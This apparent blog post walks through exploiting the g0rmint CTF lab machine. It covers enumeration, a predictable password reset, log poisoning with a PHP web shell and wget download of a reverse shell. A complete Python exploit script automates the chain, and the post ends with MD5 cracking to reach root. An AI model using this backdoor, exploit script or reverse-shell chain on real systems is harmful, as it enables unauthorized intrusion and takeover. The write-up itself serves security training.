It's all about digital security.

A simple blog where you can find different things about digital security.

g0rmint: CTF walkthrough


Name: g0rmint: 1
Date release: 3 Nov 2017

AuthorNoman Riffat

Contact: w3bdrill3r [at] gmail [dot] com



First of all let’s find the IP address of the vulnerable system. As usual we use arp-scan.


hen we scan the system to find which ports/services are running.

root@kali:~# nmap -A -F

Starting Nmap 7.60 ( ) at 2017-11-21 04:37 CET
Nmap scan report for anakin.home (
Host is up (0.00072s latency).
Not shown: 98 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:4e:fd:98:4e:ae:5d:0c:1d:32:e8:be:c4:5b:28:d9 (RSA)
|   256 9b:48:29:39:aa:f5:22:d3:6e:ae:52:23:2a:ae:d1:b2 (ECDSA)
|_  256 19:c2:74:0e:fc:48:3f:38:a6:96:68:19:62:11:c2:bf (EdDSA)
80/tcp open  http    Apache httpd 2.4.18
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 Not Found
MAC Address: 00:0C:29:69:CF:69 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.72 ms anakin.home (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.92 seconds

First steps

If we call and enumerate the root of the web folder we will find the robots.txt file.

root@kali:~# curl ''
/* Too easy? Lets see */
Disallow: /g0rmint/*

Now, we can focus our research in the g0rmint sub directory. After playing with the website to understand what do what and what is our possibilities we can start reading the source code. An interesting thing can be found in the index.php page.

<!-- start: Mobile Specific -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="backup-directory" content="s3cretbackupdirect0ry">
<!-- end: Mobile Specific -->

Finally we can download a backup of the website.

root@kali:~# wget
--2017-11-21 04:57:25--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3747475 (3.6M) [application/zip]
Saving to: ‘’                     100%[====================================================>]   3.57M  --.-KB/s    in 0.06s   

2017-11-21 04:57:25 (59.4 MB/s) - ‘’ saved [3747475/3747475]


The content of the unzipped file:

root@kali:~/backup# l
total 104
drwxr-xr-x  8 root root 4096 Nov 18 16:32 .
drwxr-xr-x 31 root root 4096 Nov 21 04:57 ..
-rw-r--r--  1 root root  823 Nov  2 20:22 config.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 css
-rw-r--r--  1 root root 1251 Nov  2 20:30 db.sql
-rw-r--r--  1 root root  493 Nov  2 17:01 deletesecretlogfile.php
-rw-r--r--  1 root root  154 Nov  2 17:01 dummy.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 font
-rw-r--r--  1 root root   45 Nov  2 00:46 footer.php
-rw-r--r--  1 root root 5721 Nov  1 23:45 header.php
drwxr-xr-x  4 root root 4096 Nov  1 23:51 img
-rw-r--r--  1 root root 1986 Nov  1 18:48 index.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 js
-rw-r--r--  1 root root 7426 Nov  2 17:00 login.php
-rw-r--r--  1 root root   99 Nov  2 17:02 logout.php
-rw-r--r--  1 root root  847 Nov  1 19:02 mainmenu.php
-rw-r--r--  1 root root 5113 Nov  2 17:02 profile.php
-rw-r--r--  1 root root 7343 Nov  2 14:39 reset.php
drwxr-xr-x  2 root root 4096 Nov  2 14:36 s3cr3t-dir3ct0ry-f0r-l0gs
drwxr-xr-x  2 root root 4096 Nov  2 03:06 s3cretbackupdirect0ry
-rw-r--r--  1 root root 2587 Nov  3 14:22 secretlogfile.php
-rw-r--r--  1 root root 2065 Nov  1 23:42 secrets.php

Finding vulnerabilities

After some research we can find three interesting things.

First, we can find the email and the username of a user in the header of a CSS file.

root@kali:~/backup# cat css/style.css |grep 'Author'
* Author: noman
* Author Email:

Second, we can reset the password of a user if we have his username and his email. (reset.php)

$message = "";
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $user = $_POST['user'];
    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":user", $user);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";

Moreover, as we can see, the new password is based on a generated date and in the bottom of the reset.php file the same date (format) is displayed. So, we can easily find the new password.

<!-- end: JavaScript-->
<div style="float: right; margin-right: 20px; margin-top: 20px; color: #fff;">Page loaded at <b><?php echo gmdate("l jS \of F Y h:i:s A"); ?></b> Standard GMT Time</div>

Finally, we can see that log files are created without enough sanitising, allowing us to inject PHP code in log files and to execute arbitrary commands. (config.php)

if (isset($_POST)) {
    foreach ($_POST as $key => $value) {
        if (!is_array($value)) {
            $value = addslashes($value);

        $_POST[$key] = $value;

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");

Note, we have to bypass the addslashes PHP function.


Reseting the password

First of all we reset the password of the previously found user.


Then we use the date at the bottom of the page to guess the new password. This simple PHP code can be use:

$password = substr(hash('sha1', 'Tuesday 21st of November 2017 04:38:15 AM')), 0, 20);
echo $password;

In this case the new password will be:

root@kali:~/Desktop# php test.php 

We are now able to log in the web application.


Remote code execution

As we saw in the part 0x02, log files are create without enough sanitising , that would says we can inject PHP code in log files. For that, we inject our PHP code in the email input in the login form.

In my case I use a basic PHP backdoor that execute command passed in a GET variable and encoded in base64.

<pre><?php echo shell_exec(base64_decode($_GET[cmd])); ?>

Note, due to the fact it’s a POST request we have to bypass the addslashes function, that’s why I use $_GET[cmd] instead of $_GET[‘cmd’].

We are now able to execute arbitrary command on the system by calling the poisoned log file. For example:

root@kali:~/backup# echo 'ls -la' |base64

Now, we will upload a reverse shell, change his permissions and execute the reverse shell, in order to have a remote access to the target system.

root@kali:~/backup# echo '/usr/bin/wget -O /tmp/rshell' |base64
root@kali:~/backup# echo 'chmod 777 /tmp/rshell' |base64
root@kali:~/backup# echo '/bin/bash -c /tmp/rshell' |base64

Note, you have to generate, via Metasploit or another platform, a reverse shell and to enable the Apache2 daemon.

root@kali:~/backup# /etc/init.d/apache2 start

Finally, we have our remote access.


Python script

I will not explain this following python script, but you only have to pass arguments to gain a reverse shell. You can find this script here, on my Github account.

import sys
import time
import base64
import hashlib
import requests
import datetime
import threading
import subprocess

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'

successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

if len(sys.argv) < 4:
    print errorMessage('Usage: {} <rhost> <lhost> <username> <email> <binary path>'.format(sys.argv[0]))
    print errorMessage('Where: ')
    print '\t- The remote IP address is the address of the remote server;'
    print '\t- The local IP address of the attacking system;'
    print '\t- The username & email are credentials of the account to reset the password;'
    print '\t- The reverse shell in the /var/www/html/ folder (Msfvenom recommended).\n'
    print errorMessage('Note, nc is required and you have to enable apache2 service.')
    ip = sys.argv[1]
    lhost = sys.argv[2]
    username = sys.argv[3]
    email = sys.argv[4]
    path = sys.argv[5]

def sending(url, s):
    command = base64.b64encode('/bin/bash -c /tmp/rshell')
    res = s.get(url + command)

def recv():['nc -lnvp 1337'], shell=True)

payload = {
    'email': email,
    'user': username,
    'submit': 'reset'

print infoMessage('Trying to reset the password of: ')
print '\t{} : {}'.format(email, username)
res ="http://" + ip + "/g0rmint/reset.php", data=payload)

if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
print successMessage('Gotcha!\n')

# Dirty as fuck ...
gmt = res.content.split('Page loaded at <b>')[1].split('</b> Standard GMT Time</div>\n')[0]

print infoMessage('Standard GMT Time: ')
print '\t{}\n'.format(gmt)

# Magik
password = hashlib.sha1(gmt).hexdigest()[:20]
print infoMessage('Making magic ...')
print successMessage('New password: {}\n'.format(password))

print infoMessage('Poisoning log files with the following payload: ')
rce = '<?php echo shell_exec(base64_decode($_GET[cmd])); ?>'
print '\t' + rce

payload = {
    'email': rce,
    'pass': password,
    'submit': 'submit'

res ="http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
print successMessage('Log files successfully poisoned!\n')

print infoMessage('Trying to log in the web app')
s = requests.Session()
payload = {
    'email': email,
    'pass': password,
    'submit': 'submit'

res ="http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print erroMessage('Ooouups something goes wrong!')
print successMessage('Successfully logged in the web app!\n')

print infoMessage('Getting the reverse shell')
logfile ='%Y-%m-%d') + '.php'
url = 'http://' + ip + '/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/' + logfile + '?cmd='

print infoMessage('Uploading the reverse shell')
command = base64.b64encode('/usr/bin/wget http://' + lhost + '/' + path + ' -O /tmp/rshell')
res = s.get(url + command)

print infoMessage('Changing permissions')
command = base64.b64encode('chmod 777 /tmp/rshell')
res = s.get(url + command)
print infoMessage('Executing the reverse shell')
command = base64.b64encode('/bin/bash -c /tmp/rshell')
res = s.get(url + command)

thread1 = threading.Thread(target=recv)
thread2 = threading.Thread(target=sending, args=(url, s,))


Privilege escalation

Another file can be found int the /var/www/ folder. If we unzip this file and if we display the contante of db.sql, we will find the original password of the g0rmint user.

www-data@ubuntu:/var/www$ mkdir /var/tmp/backup
mkdir /var/tmp/backup
www-data@ubuntu:/var/www$ unzip -d /var/tmp/backup/
unzip -d /var/tmp/backup/
www-data@ubuntu:/var/www$ cat /var/tmp/backup/db.sql |grep noman
(1, 'noman', '', 'ea60b43e48f3c2de55e4fc89b3da53dc');

The decrypted MD5 password is: tayyab123 Now we can log in the system via SSH.

root@kali:~/Desktop# ssh g0rmint@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:A+QDYP4PRQ/yHT8YJNEE6isId6ouaX24QAp1vYf1qK4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
g0rmint@'s password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:
 * Management:
 * Support:
Last login: Mon Nov 20 11:30:58 2017 from

The g0rmint user is a privileged user, so we can become root.